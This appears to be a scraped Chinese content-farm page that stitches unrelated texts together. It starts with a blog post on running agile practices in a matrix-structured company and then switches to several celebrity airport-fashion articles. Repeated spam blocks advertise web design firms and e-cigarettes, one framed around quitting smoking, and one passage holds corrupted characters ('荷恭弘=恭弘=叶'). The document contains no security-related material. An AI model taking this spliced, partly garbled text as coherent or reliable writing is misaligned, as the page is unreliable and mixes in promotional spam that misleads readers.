我要為我開發的產品負責，它的迭代，扔給它的需求，和它相關方，它的應變能力。

主動一點，也許事情看起來並沒有那麼難。

現在的我，我們

新的公司，給了我很多的機會，糾正了我很多認知，我也從實踐中反思了很多，收穫了很多。

公司的組織架構是矩形架構：橫向職能，垂直項目

項目首先會有項目經理，項目經理有一定的項目經理獎金。當然項目經理要履行項目經理的職責。都會有績效。

項目經理，開發，產品，測試，DBA，運維，PMO 這些會組成一個項目組。

整個項目組會在項目經理的引導下，開發項目直到上線。然後迭代下一版本。

現在項目中，有使用瀑布開發，有使用敏捷開發。

我所認知的一點是，各個職能團隊人員雖然屬於職能。但是基本會長期泡在各個項目中。

項目中學習到的東西，在項目中的成長也是很重要的。所以項目經理有一定的敏捷角色中PM的角色：引導大家，賦能給大家。

我們正在嘗試的敏捷（嘗試）

其他團隊物理面板：

我們團隊的面板：非常簡單

項目并行和項目特殊性，我們採用周交付，不確定哪一天交付什麼（特殊需求除外）。

因為項目為運維性質的項目，有開發，緊急需求，客戶答疑問題較多。時間不太可控。

並且大家积極性都很高，沒必要要求必須排滿周開發任務。

自己開發完直接到需求池，領取最優先級的需求，或者幫助其他組員分解開發任務。

業務需求 + 技術需求 雙向需求驅動，佔比5：1。

周最高優先級佔比 1：4

這樣大家不會因為具體時間的衝突導致交付的壓力。周交付的任務為必須交付的最小單元（本周必須交付）。

沒必要的會議去掉，我們基本都坐在一起，不去會議室。工位周邊就可以開會。電腦操作隨時記錄，會後發出來。

周五：計劃會（15：00 ~ 15：30）

10分鐘，材料都是平時積累，會前整理完

地點：工位

目的：回顧上版本迭代精進結果。分析過程問題原因，總結問題。認知好與不足，下版本迭代重點要解決的問題。；討論新需求優先級；達成一致周最小目標。

周五會後 + 周一開會前

這段時間，是大家緩一緩，總結自己規劃下周的時間。

磨刀不誤砍柴工，想好怎麼做，才能預知困難和風險。

對新需求進行任務拆分，需求理解，任務具體估時。

周一：迭代會（10:00 ~ 10:15）

15~30分鐘，微調任務；統一思想；確認周迭代目標；

地點：工位

周三：如果需要可以開一個簡短溝通會

我們自己維護的計劃和交付，簡單高效。團隊協作，互相可看。

我們的產品是剛畢業的新人，我們互相指導學習。

他最近也在研究用戶故事如何寫好。他打算下周先打印出來，大家看看自己感受一下。

最近我看完了一本敏捷開發相關的書籍，同時推薦給了他。我們想單獨摘出好的或者值得討論的地方，大家圍在一起拿出半小時討論一下也未嘗不可。

還有一本我正在看，可能我實踐經驗不足。總是感覺一般般的感覺。思路不是很清晰。

有讀過的朋友可以發表一下看法。

總結

敏捷我們在路上。不為敏捷而敏捷。

我們互相提高，互相幫助，能力提升，升職加薪。生活質量更好。

大街上敏捷一大堆，根據實際情況摸索敏捷之道。發揮大家的能力，提升大家的能力。為大家帶來點實際的東西。為企業帶來點實際的東西。

項目管理根本目標是把項目管好，項目管好，大家更加自信，互相也都信任。所以項目管好是項目組良性循環的根本。項目經理要多花大力氣去關注，去學習。

謝謝關注公眾號

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站，提高曝光率!!

※網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司，幫您輕鬆架站!

※想知道最厲害的台北網頁設計公司推薦、台中網頁設計公司推薦專業設計師”嚨底家”!!

趙露思現身機場，銀色亮面棉服配直筒褲，減齡休閑又時尚

發佈日期: 作者:

說起趙露思，可能很多朋友都有點陌生吧，畢竟現在娛樂圈的新晉小花太多了，名氣一般的明星大家都很難記得她的名字，但看到她的樣子后，大家都比較熟悉吧，特別是看過改編都市情感電影《藍色生死戀》與偶像劇《哦！我的皇帝陛下》的朋友，因為她就是裏面的女主角“恩熙”與“洛菲菲”，趙露思也憑藉著幾部經典作品小火一把。近日，小花旦趙露思現身機場，銀色亮面棉服配直筒褲，減齡休閑又時尚。

機場上，趙露思化身防寒時尚小達人，一身機場搭配保暖又時尚，不僅好看還很減齡哦。

頭戴着一頂藍色的棒球帽，身穿着黑色的防寒內衣，中高領設計讓整個人看起來更加的有氣場，還散發著成熟優雅的風采，同時選擇了最常見的黑色，顯白又顯瘦，下身搭配條藍色的牛仔褲，外搭件銀面棉服，斜掛一個米白色的時尚包包，整個造型簡約休閑卻保暖到位。

別看趙露思的搭配如此簡單，卻完美地釋繹最佳的冬天搭配。大冬天很多朋友都喜歡選擇黑白灰，正因為這樣會導致出現審美疲勞，正當此時，一件充滿科技感的銀色羽絨赤裸裸地吸引眾人的視覺，除此之外，藍色的帽子也很搶眼，個性又獨特，同時與牛仔褲互相呼應，再配合將褲腳捲起來的小細節，整個造型簡約而不平凡。

看完趙露思最新機場LOOK后，我們一起來看看她其他風格的搭配吧！

1、白衛衣牛仔褲配貝雷帽：青春，減齡

休閑少女風：長發自然披肩的趙露思自帶溫婉的親和感，身穿着一件oversize的白色衛衣，休閑舒適又百搭，下身搭配條九分緊身牛仔褲，勾勒出一雙纖細的漫畫腿，配上一頂復古格紋貝雷帽，整個造型青春減齡又文藝。

2、白襯衫配黑短裙：職場風，休閑

霸氣職場風：白色襯衫配黑色短裙妥妥的職場OL搭配，但趙露思卻穿出不一樣的魅力。白襯衫+黑短裙繫上一條與短裙互相呼應的銀色點綴的領帶，為經典的黑白搭配增添一抹未來感，配上明艷的大紅唇與利落的一刀切齊劉海，整個休閑黑白配秒變得美酷颯爽。

3、粉色刺繡弔帶長裙：溫柔，性感

甜美仙女風：換上粉色刺繡弔帶長裙的趙露思嬌俏又性感，粉色的輕紗裙仙氣飄逸，加入精美的刺繡點綴，華麗又提升古典氣息，唯美與恬靜的少女風與大膽撩人的弔帶形成強烈對比，反差讓整體變得更加搶眼，配上減齡的雙麻花，整個造型集少女的清純與性感於一體，矛盾卻又格外迷人。你喜歡這樣的趙露思嗎？

本站聲明:網站內容來源於http://www.shelive.net/,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

聽過「電子菸」嗎?想知道與一般傳統香菸有何不同嗎?

電子煙能幫助戒菸嗎?專家學者以健康觀點帶您來了解 !

新手該如何選擇電子菸口味及濃度呢?

徐璐身穿一襲漸變藍色薄紗裙，優雅端莊

發佈日期: 作者:

徐璐因為在電視劇《紅樓夢》中飾演了薛寶琴一角而步入演藝圈發展，更是在2012年播出的《甄嬛傳》中飾演了甄玉嬈而開始走紅，去年，徐璐和男友張銘恩參加了綜藝節目《女兒們的戀愛》而受到了粉絲們的喜愛。這次，一組徐璐的機場私服曝光了，只見徐璐最新私服上線，黑白穿搭亮相機場，網友們不禁疑問到：這不就是我嗎？

徐璐這一身的穿搭真是較為簡單了，簡直就是素人的日常了，完全沒有星味。徐璐身穿一件米白色長款過膝的羽絨服，色澤清爽，溫暖舒適又休閑隨性，敞開前襟露出內搭的黑色套頭毛衫，展示黑白撞色經典搭配，沉穩低調又大氣時尚，下身穿黑色長褲，腳蹬黑色平底鞋，日常的裝扮，舒適又隨意，頭戴黑色針織帽，黃色的笑臉圖案點綴其中，讓黑色一下子變得不那麼單調，活潑有趣許多，肩挎黑色菱格鏈條大包包，復古又時髦范兒。

一起欣賞一下徐璐之前的多種穿搭風格吧！

1、彩虹毛衣配牛仔褲：日常，減齡

徐璐身穿彩虹毛衣，甜美可愛又休閑減齡，下身穿牛仔長褲，時尚又帥氣，日常的裝扮宛若鄰家小妹很是讓人憐愛，露出燦爛的笑容，與寵物小狗嬉戲，俏皮又靈動。

2、漸變藍抹胸花朵裙：優雅，溫柔

徐璐身穿一襲漸變藍色薄紗裙，優雅端莊，色調柔和，散發嫻靜溫柔的氣息，抹胸款式展露白皙滑嫩的肌膚，很是性感又嫵媚，寬大唯美的裙擺，浪漫飄逸，大小不一、立體飽滿的花朵裝飾裙身，甜美又嫵媚，高腰的款式勾勒出美好身姿，高貴又典雅。

3、薄紗上衣配粉色短裙：甜美，元氣

徐璐身穿淡粉色薄紗上衣，荷恭弘=恭弘=叶 恭弘 恭弘花邊領口和燈籠衣袖，盡顯甜美公主范兒，下身配粉色短裙，秀出筆直的腿部線條，線條簡潔大氣，幹練利落又元氣滿滿。

4、撞色拼接長裙：個性，時尚

徐璐身穿一襲撞色拼接長裙，藍色條紋與粉色的抽褶裙身相映成趣，極具吸睛個性，復古風韻中不乏現代時尚氣息，寬大的拖地裙擺，盡顯灑脫大氣之感，梳着黑色的披肩長發，少女風滿滿。

本站聲明:網站內容來源於http://www.shelive.net/,如有侵權,請聯繫我們,我們將及時處理

【精選推薦文章】

※聽過「電子菸」嗎?想知道與一般傳統香菸有何不同嗎?

※電子煙能幫助戒菸嗎?專家學者以健康觀點帶您來了解 !

※新手該如何選擇電子菸口味及濃度呢?

張鈞甯不管穿運動裝還是休閑裝，都很有自己的風格

發佈日期: 作者:

張鈞甯是娛樂圈裡面出了名的喜歡運動的女明星，因為熱愛運動，所以她的身材非常的健康，不是過於纖細的那種，而是讓人覺得飽滿有力，這也是很多女孩子夢寐以求的身材吧！不僅如此，張鈞甯的衣品也非常的好，不管穿運動裝還是休閑裝，都很有自己的風格。

這種絨面的外套其實比羊羔絨要更加暖和一些，羊羔絨外套其實有外面的一層是絨面，裏面的內襯就比較薄，所以需要我們搭配一些比較暖和的針織衫毛衣或者是衛衣在裏面才能起到一個保暖的作用，但是這種絨外套剛好相反，它的內襯是羊羔絨的，外面是類似於皮一樣的材質，摸上去非常的柔軟和溫暖，裏面不用穿很多就暖和了，所以想要選擇保暖性高一些的外套，還是這種絨外套更加實用一些。

所有這種短款的外套都能在視覺上幫助你達到一個顯高顯腿長的作用，像張鈞甯這樣搭配鉛筆褲的效果更加明顯，但不是每個人的身材都和張鈞甯的一樣好，所有如果你對自己的腿型不是很滿意的話可以選擇花苞褲或者是煙管褲這種更加遮肉的褲子，腿粗一定不能穿緊身的褲子！冬天不管是穿裙子還是褲子最好的搭配一定是靴子，顯氣質的最強單品。

其實張鈞甯的這一身穿搭顏色已經非常的多了，雖然她的挎包和外套是一個色系，但是由於色調的不同還是有一些區別，而且她搭配了一件磚紅色的針織衫在裏面，看起來顏色的跳躍感就更強，所以建議一般人在這麼穿的時候還是把內搭換成黑色比較好，和褲子的連接感也更強，和黑色的貝雷帽有一個比較好的承接作用。張鈞甯的身材太棒了！棕色絨外套搭配黑色貝雷帽，保暖又顯腿長。

冬天想要起到一個很好的保暖作用，其實還有一種方法就是疊穿，但是像張鈞甯這樣疊穿了兩件外套還是比較少見的，裏面的軍綠色外套比較短，單穿的時候搭配條紋T恤非常的年輕活潑，但是外搭一件黑色羽絨服的時候，就會形成一種假兩件的錯覺，兩件外套一長一短也不會顯得臃腫，反而更加的有錯落層次感，不得不說張鈞甯在疊穿上還是挺有心得的。

雖然張鈞甯這麼疊穿非常好看，而且不會讓人覺得她穿了兩件外套，但是一般人像張鈞甯這麼穿的話手臂那個地方顯臃腫是一定的，因為她的三件衣服都是長袖，而羽絨服的袖子通常都不是寬鬆的，穿三件長袖在裏面就會鼓起來，所以我建議大家還是只穿一件外套比較好，想要疊穿的話可以在裏面穿連帽衛衣。

張鈞甯的身材我真的是羡慕了，特別是冬天穿這麼暖和還能有這麼纖細的筷子腿，運動使人美麗啊！這種全黑的穿搭比較適合約會或者是出門逛街的時候穿，雖然全黑會顯得有一點古板沒有色彩感，但是能給人帶來的氣場也是不可小覷的，當衣服的顏色都是黑色，我們就可以通過一些小的配飾來增加亮點，比如這款有金屬材質的鏈條包，能讓人馬上看起來貴氣十足。

本站聲明:網站內容來源於http://www.shelive.net/,如有侵權,請聯繫我們,我們將及時處理

【精選推薦文章】

※聽過「電子菸」嗎?想知道與一般傳統香菸有何不同嗎?

※電子煙能幫助戒菸嗎?專家學者以健康觀點帶您來了解 !

※新手該如何選擇電子菸口味及濃度呢?